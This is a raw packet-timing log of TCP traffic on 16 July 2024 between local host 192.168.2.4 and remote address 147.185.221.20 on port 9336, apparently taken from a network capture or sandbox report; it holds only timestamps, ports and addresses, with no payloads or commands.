Jul 16, 2024 21:07:11.528248072 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528254032 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528266907 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528273106 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528286934 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528290033 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528297901 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528306007 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528311968 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528325081 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528332949 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528356075 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528414965 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528429031 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528441906 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528455019 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528464079 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528469086 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528475046 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528486967 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528492928 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528506994 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528516054 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528518915 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528533936 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528546095 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528559923 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528573036 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528582096 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528585911 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528599024 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528599977 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528613091 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528619051 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528625965 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528640032 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528647900 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528660059 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528666019 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528678894 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528681993 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.528695107 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528758049 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528774023 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528786898 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528812885 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528827906 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528861046 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528872967 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528923988 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.528938055 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529011011 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529023886 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529036999 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529052973 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529144049 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529156923 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529170990 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529182911 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529195070 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529273033 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529288054 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529300928 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529313087 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529325962 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529350042 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529362917 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529398918 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529412031 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529501915 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529515028 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529526949 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529552937 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529566050 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529577971 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529591084 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529603958 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529616117 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529639006 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529652119 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529665947 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529690981 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529706955 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529756069 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529768944 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529792070 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529803991 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529829979 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529843092 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529858112 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529901981 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.529915094 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.576848030 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.523264885 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.525955915 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.530879021 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.530947924 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.532079935 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.536801100 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.564131021 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.876873970 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.881901026 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.881916046 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.881925106 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.881936073 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.881943941 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.881973982 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.882036924 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.883737087 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.883747101 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.883750916 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.883754969 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.883764029 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.883780956 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.883816004 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.888113022 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.888122082 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.888132095 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.888206959 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.888220072 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.888272047 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.888340950 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.888408899 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.888771057 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.888808966 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.915970087 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.916186094 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.922442913 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.922626972 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923026085 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923089027 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923089981 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923121929 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923171997 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923177958 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923199892 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923228979 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923229933 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923249960 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923259020 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923278093 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923310041 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923316002 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923337936 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923362017 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923365116 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923388958 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923413992 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923451900 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923480988 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923507929 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923508883 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923546076 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923558950 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923604965 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923610926 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923634052 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923660994 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923687935 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923703909 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923711061 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923739910 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923758030 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923767090 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923787117 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923795938 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923811913 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923823118 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923851013 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923873901 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923877954 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923893929 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923906088 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923932076 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923933983 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.923943043 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.923976898 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.928231955 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.928275108 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.928283930 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.928380966 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.928438902 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.928467989 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.928519964 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.928527117 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.928563118 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.928621054 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.929822922 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.929852962 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.929883003 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.929886103 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.929934025 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930253029 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930316925 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930391073 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930421114 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930463076 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930497885 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930676937 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930705070 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930727959 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930762053 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930797100 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930825949 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930874109 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930877924 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930902958 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.930952072 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.930974960 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931016922 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931045055 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931072950 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931097031 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931097031 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931126118 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931145906 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931154013 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931185007 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931204081 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931235075 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931236029 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931263924 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931291103 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931313992 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931318045 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931363106 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931369066 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931379080 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931411028 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931463003 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931464911 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931490898 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931518078 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931544065 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931545019 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931565046 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931572914 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931590080 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931602955 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931615114 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931647062 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931674957 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931678057 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931703091 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931711912 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931726933 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931731939 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931750059 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931760073 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931777954 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931799889 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931811094 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931840897 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931864977 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931869030 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931878090 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931899071 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931927919 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931947947 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931956053 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.931967974 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.931983948 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932010889 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932012081 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932037115 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932039976 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932051897 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932068110 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932095051 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932117939 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932122946 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932142973 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932151079 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932153940 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932180882 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932204008 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932210922 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932220936 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932245016 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932271957 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932292938 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932298899 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932311058 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932327986 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932351112 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932356119 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932368994 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932384968 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932406902 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932413101 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932435036 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932451963 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932462931 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932518959 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932518959 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932548046 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932574034 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.932594061 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.932626009 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.934616089 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.934644938 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.934667110 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.934690952 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935446024 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935496092 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935496092 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935527086 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935553074 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935554028 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935576916 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935584068 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935605049 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935630083 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935650110 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935677052 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935702085 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935723066 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935726881 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935755968 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935782909 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.935810089 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.935826063 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.936690092 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.936718941 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.936742067 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.936748028 CEST	9336	49738	147.185.221.20	192.168.2.4
